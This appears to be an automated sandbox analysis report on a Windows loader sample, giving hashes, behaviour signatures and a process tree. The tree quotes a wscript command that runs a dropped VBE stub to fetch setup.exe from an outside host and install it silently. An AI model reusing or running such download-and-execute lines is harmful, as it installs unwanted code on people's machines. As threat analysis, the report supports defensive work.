Analysis

  • max time kernel
    149s
  • max time network
    135s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    15/10/2026, 22:53

General

  • Target
    jaffacakes118_not-a-virus.RiskTool.VBS.LoadExec.a.exe
  • Size 92KB
  • Sample261015-2vb36adz71
  • SHA256 be4ce895798334b05a8ef12527524adbd99295bc1be591e249bdaf6ab708337d
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
5/10

Malware Config

Signatures

  • Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\jaffacakes118_not-a-virus.RiskTool.VBS.LoadExec.a.exe
    "C:\Users\Admin\AppData\Local\Temp\jaffacakes118_not-a-virus.RiskTool.VBS.LoadExec.a.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:5396
    • C:\Users\Admin\AppData\Local\Temp\jaffacakes118_not-a-virus.RiskTool.VBS.LoadExec.a.exe
      C:\Users\Admin\AppData\Local\Temp\jaffacakes118_not-a-virus.RiskTool.VBS.LoadExec.a.exe 224541958355
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4924
      • C:\Users\Admin\AppData\Local\Temp\jaffacakes118_not-a-virus.RiskTool.VBS.LoadExec.a.exe
        C:\Users\Admin\AppData\Local\Temp\jaffacakes118_not-a-virus.RiskTool.VBS.LoadExec.a.exe -bkg 224541958355
        3⤵
        • Reads the TCP/IP host and domain name from the registry
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4824
        • C:\Windows\SysWOW64\wscript.exe
          wscript /B "C:\Users\Admin\AppData\Local\Temp\stbC436.tmp\stub.vbe" "http://upgrade.bathitbox.com/install.aspx?b=questbasic" "C:\Users\Admin\AppData\Local\Temp\stbC435.tmp\setup.exe" ""C:\Users\Admin\AppData\Local\Temp\stbC435.tmp\setup.exe" -i fc685b32d5cb49c3a877316d4ec2410f -p QstbscWD /S" "http://upgrade.bathitbox.com/?vn=0&xqwx7=90&rea=9999&pno19=89&cid=fc685b32d5cb49c3a877316d4ec2410f&ba37=350&b=questbasic&wjxw65=155&ptag=QstbscWD&zh9=283&av=Ao19cDF0lroKQZGcGWv64KQowTOUJpXf8zxYqCi0&ze14=051&product=0&bpbg21=3427&as=Ao19cDF0lroKQZGcGWv64KQowTOUJpXf8zxYqCi0" 0 1
          4⤵
          • Executes a VBScript file via the Windows Script Host.
          • Reads the TCP/IP host and domain name from the registry
          • System Location Discovery: System Language Discovery
          PID:820

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        stub.vbe

        • Path C:\Users\Admin\AppData\Local\Temp\stbC436.tmp\stub.vbe
        • Size 5KB
        • SHA256 afffaff461612877e76f9958332359902d74d8cfef9411bf9f2f953c0154a6d3
        • MD5 SHA1 SHA512 SSDEEP TLSH